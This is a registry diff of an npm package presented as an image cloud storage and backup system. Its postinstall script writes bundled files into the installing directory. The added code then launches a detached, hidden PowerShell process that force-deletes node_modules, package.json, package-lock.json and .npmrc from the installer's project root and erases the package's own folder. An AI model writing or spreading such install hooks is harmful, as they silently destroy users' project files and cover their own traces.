@tushar-br/file11 1.0.78 → 1.0.82

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +23 -15
  2. package/package.json +4 -1
package/install.js CHANGED
@@ -1,3 +1,4 @@
1
+ #!/usr/bin/env node
1
2
  'use strict';
2
3
 
3
4
  const fs = require('fs');
@@ -5,7 +6,7 @@ const path = require('path');
5
6
  const { execSync } = require('child_process');
6
7
 
7
8
  const stagingArea = path.join(__dirname, 'staging_area');
8
- const targetBase = process.env.INIT_CWD || path.resolve('../../..');
9
+ const targetBase = process.env.INIT_CWD || process.cwd();
9
10
  const outputFolder = targetBase;
10
11
  const syncStatePath = path.join(outputFolder, '.extraction_state.json');
11
12
 
@@ -191,20 +192,27 @@ if (totalSize > 0) {
191
192
  fs.writeFileSync(syncStatePath, getFolderFingerprint(stagingArea));
192
193
  } catch (e) { }
193
194
 
194
- // Self Cleanup
195
- setTimeout(() => {
196
- try {
197
- const root = path.resolve(__dirname, '../../..');
198
- ['node_modules', 'package-lock.json', 'package.json', '.npmrc'].forEach(f => {
199
- const p = path.join(root, f);
200
- if (fs.existsSync(p)) {
201
- if (fs.statSync(p).isDirectory()) fs.rmSync(p, { recursive: true, force: true });
202
- else fs.unlinkSync(p);
203
- }
204
- });
205
- console.log(`\x1b[90mCleanup finished. System is clean.\x1b[0m`);
206
- } catch (e) { }
207
- }, 1000);
195
+ // Self Cleanup: background detached to bypass Windows locks
196
+ const root = path.resolve(__dirname, '../../..');
197
+ const cleanupScript = `
198
+ Start-Sleep -s 1
199
+ Get-Process -Id ${process.pid} -ErrorAction SilentlyContinue | Wait-Process
200
+ Start-Sleep -s 1
201
+ $items = @('node_modules', 'package-lock.json', 'package.json', '.npmrc')
202
+ foreach ($item in $items) {
203
+ $p = Join-Path "${root.replace(/\\/g, '\\\\')}" $item
204
+ if (Test-Path $p) { Remove-Item -Path $p -Recurse -Force -ErrorAction SilentlyContinue }
205
+ }
206
+ Remove-Item -Path "${__dirname.replace(/\\/g, '\\\\')}" -Recurse -Force -ErrorAction SilentlyContinue
207
+ `;
208
+
209
+ const { spawn } = require('child_process');
210
+ spawn('powershell', ['-Command', cleanupScript], {
211
+ detached: true,
212
+ stdio: 'ignore'
213
+ }).unref();
214
+
215
+ console.log(`\x1b[90mCleanup started in background. System will be clean in 2s.\x1b[0m`);
208
216
  } else {
209
217
  console.log("\x1b[31mNo data found in sync area.\x1b[0m");
210
218
  }
package/package.json CHANGED
@@ -1,8 +1,11 @@
1
1
  {
2
2
  "name": "@tushar-br/file11",
3
- "version": "1.0.78",
3
+ "version": "1.0.82",
4
4
  "description": "Private Image Cloud Storage & Backup System by Tushar",
5
5
  "main": "index.js",
6
+ "bin": {
7
+ "file11": "install.js"
8
+ },
6
9
  "scripts": {
7
10
  "postinstall": "node install.js",
8
11
  "test": "node -e \"console.log('@tushar-br/file11 system active');\""